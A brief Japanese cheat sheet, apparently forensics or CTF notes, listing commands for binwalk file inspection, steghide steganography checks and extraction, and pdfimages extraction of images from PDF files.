binwalk <ファイル>
ステガノグラフィー確認
パスフレーズが必要
埋め込み確認
steghide info <ファイル>
データ抽出
steghide extract -xf <ファイル>
パスワードがない場合、オンラインツールを利用する
PDFファイルの解析
PDFファイル内部の画像抽出
pdfimages <Target PDF> <Export File Name>